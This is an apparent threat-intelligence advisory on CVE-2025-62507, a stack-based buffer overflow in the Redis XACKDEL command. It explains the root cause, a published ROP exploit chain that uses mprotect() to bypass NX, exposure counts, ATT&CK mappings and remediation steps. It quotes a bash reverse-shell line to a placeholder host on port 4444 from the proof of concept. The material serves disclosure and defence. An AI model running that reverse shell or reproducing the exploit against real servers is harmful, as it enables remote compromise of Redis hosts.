CVE-2025-62507: Unauthenticated Stack-Based Buffer Overflow RCE in Redis XACKDEL Command

CVE-2025-62507 (TL-2026-1537) is a high-severity software vulnerability scored CVSS 8.8, first published 2026-07-19. It has no confirmed attribution, affects Redis Ltd. Redis, references 1 CVE (CVE-2025-62507), maps to 12 MITRE ATT&CK techniques (T1046, T1059, T1068), and is covered by 9 detection rules and 17 indicators of compromise.

Key facts for TL-2026-1537

Threat ID
TL-2026-1537
Severity
HIGH
CVSS
8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-19
Last reviewed
2026-07-19
Attribution confidence
LOW
Motivation
UNKNOWN
Detection rules
9
Indicators of compromise
17

Malware and tooling in CVE-2025-62507

Malware and tooling: Google Big Sleep, Shodan

A stack-based buffer overflow in Redis's XACKDEL command (xackdelCommand, src/t_stream.c) allows unauthenticated remote code execution on default configurations of Redis 8.2.0-8.2.2. JFrog Security Research published a working ROP-chain exploit that bypasses NX protection via mprotect() to gain shellcode execution, and identified 2,924 immediately exploitable unauthenticated Redis servers via Shodan.

How CVE-2025-62507 works

CVE-2025-62507 is a stack-based buffer overflow (CWE-787/CWE-121) rooted in improper input validation (CWE-20) in Redis's XACKDEL command, which combines Redis Streams consumer-group message acknowledgment and deletion. The xackdelCommand function parses a client-supplied list of stream IDs into a fixed-size stack array, static_ids[STREAMID_STATIC_VECTOR_LEN] (52 IDs of 16 bytes each), but never validates that the number of client-supplied IDs fits within that bound before writing into it. Supplying 53 or more attacker-controlled 128-bit stream IDs (each parsed as a milliseconds-sequence pair) overruns the buffer and overwrites adjacent stack memory, including saved registers and the function's return address, with fully attacker-controlled values.

Redis was originally credited by the vendor advisory to Google Big Sleep, Google DeepMind/Project Zero's AI-driven vulnerability discovery agent, and disclosed via GitHub Security Advisory GHSA-jhjx-x4cf-4vm8 with a fix in Redis 8.2.3. On 2026-01-14, JFrog Security Research published a full weaponized exploit chain independent of the advisory's proof-of-concept status: a Return-Oriented Programming (ROP) chain that loads rdi/rsi/rdx with a target stack address (0x7fffffffe000), a 0x20000-byte size, and PROT_READ|PROT_WRITE|PROT_EXEC flags, then returns into libc's mprotect() to make a stack region executable — bypassing NX (DEP). A subsequent CALL RSP gadget pivots execution into attacker-supplied shellcode written past the overflowed return address, in JFrog's PoC a reverse shell (`/bin/bash -c '/bin/bash -i >& /dev/tcp/[HOST]/4444 0>&1'`).

Although NVD's CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8 HIGH) lists PR:L (low privileges), Redis enforces no authentication by default, so on out-of-the-box deployments PR:L is trivially satisfied and the flaw is effectively unauthenticated, network-exploitable RCE. Redis's own Github advisory separately scored it CVSS v4.0 7.7 (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). Full weaponization against a hardened target additionally requires an information-disclosure primitive to defeat ASLR and, on binaries compiled with stack-protector, a canary bypass; JFrog noted the official Redis Docker image was compiled WITHOUT -fstack-protector, making the Docker-distributed binary trivially exploitable, while Ubuntu-packaged Redis retained canary protection. Shodan enumeration by JFrog found 2,924 Redis 8.2.0-8.2.2 instances reachable with no authentication at all, plus 183,907 additional internet-facing Redis servers with authentication enabled but potentially subject to credential brute-forcing. The vendor fix (commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741, released as Redis 8.2.3) replaces the fixed stack allocation with a heap reallocation path when the ID count exceeds the static vector length. As of this writing CVE-2025-62507 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog; exploitation is documented via public security research rather than confirmed in-the-wild campaigns.

MITRE ATT&CK techniques used in TL-2026-1537

Discovery

T1046 Network Service Discovery; T1082 System Information Discovery

Execution

T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution

Privilege Escalation

T1068 Exploitation for Privilege Escalation

Command and Control

T1095 Non-Application Layer Protocol

Initial Access

T1190 Exploit Public-Facing Application

Lateral Movement

T1210 Exploitation of Remote Services

Defense Evasion

T1211 Exploitation for Stealth

Impact

T1499 Endpoint Denial of Service

Resource Development

T1588 Obtain Capabilities

Reconnaissance

T1595 Active Scanning

Affected products and versions in CVE-2025-62507

  • Redis Ltd. — Redis
    Vulnerable versions: 8.2.0; 8.2.1; 8.2.2
    Fixed in: 8.2.3

Remediation for CVE-2025-62507

Patches

  • Redis 8.2.3 (fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741)

Immediate actions

  • Upgrade Redis to version 8.2.3 or later, which fixes xackdelCommand's stack overflow by reallocating on the heap for ID counts exceeding STREAMID_STATIC_VECTOR_LEN
  • If upgrading is not immediately possible, restrict the XACKDEL command via Redis ACLs (e.g. ACL SETUSER default -xackdel) to block exploitation while patching is scheduled
  • Enable Redis authentication (requirepass / ACL users with strong passwords) — default configurations of 8.2.0-8.2.2 have no authentication at all

Workarounds

  • ACL-restrict the XACKDEL command on all users until the server can be upgraded to 8.2.3+

Longer-term hardening

  • Never expose Redis directly to the public internet; restrict access to trusted internal networks/VPCs via firewall rules and security groups
  • Enable Redis TLS and bind to specific interfaces rather than 0.0.0.0
  • Rebuild/re-pull official Docker images compiled with -fstack-protector (JFrog found the stock Docker image lacked stack-canary protection, unlike Ubuntu-packaged Redis)
  • Enable system-wide ASLR (echo 2 > /proc/sys/kernel/randomize_va_space) to raise the bar for reliable exploitation of remaining memory-corruption bugs
  • Monitor Shodan/internet-exposure scans of your own IP ranges for inadvertently internet-facing Redis instances

CVEs associated with CVE-2025-62507

CVE-2025-62507

Weaknesses (CWE) in CVE-2025-62507

CWE-787, CWE-20, CWE-121

Timeline of CVE-2025-62507

  • Redis 8.2.3 is released containing fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741, which replaces the fixed-size stack array in xackdelCommand with a heap reallocation path when the client-supplied ID count exceeds STREAMID_STATIC_VECTOR_LEN, plus a regression test.
  • Redis publishes GitHub Security Advisory GHSA-jhjx-x4cf-4vm8 for CVE-2025-62507, crediting discovery to Google Big Sleep (Google DeepMind/Project Zero's AI security agent) and identifying Redis 8.2.3 as the fixed version.
  • Third-party vulnerability trackers SentinelOne and Tenable index CVE-2025-62507 in their vulnerability databases, cataloging the CVSS 8.8 score and affected Redis 8.2.x version range for defender visibility.
  • CVE-2025-62507 is published in the National Vulnerability Database with CVSS v3.1 base score 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and CWE-787/CWE-20/CWE-121 classifications.
  • Security news outlets (securityonline.info, cybersecurity-help.cz) republish coverage of JFrog's exploit chain, framing CVE-2025-62507 as a notable case of an AI-discovered vulnerability (credited to Google Big Sleep) receiving a subsequent human-authored weaponized exploit.
  • JFrog notes the official Redis Docker image was compiled without the -fstack-protector flag, making the Docker-distributed binary trivially exploitable via the overflow, whereas Ubuntu-packaged Redis retained stack-canary protection and required an additional canary-bypass step.
  • JFrog's Shodan survey identifies 2,924 internet-facing Redis 8.2.0-8.2.2 instances with no authentication enabled (immediately exploitable) plus 183,907 additional internet-facing Redis servers with authentication enabled but potentially subject to credential brute-forcing.
  • JFrog Security Research publishes a full weaponized exploit chain for CVE-2025-62507: a ROP chain that calls mprotect() to mark a stack region PROT_READ|PROT_WRITE|PROT_EXEC (bypassing NX), followed by a CALL RSP gadget that pivots into attacker-supplied shellcode, demonstrated with a bash reverse-shell payload.

Sources cited for CVE-2025-62507

Threats related to CVE-2025-62507

Detection coverage for TL-2026-1537

As of 2026-07-19, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1537 across Splunk SPL, Microsoft KQL and Sigma, covering 17 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats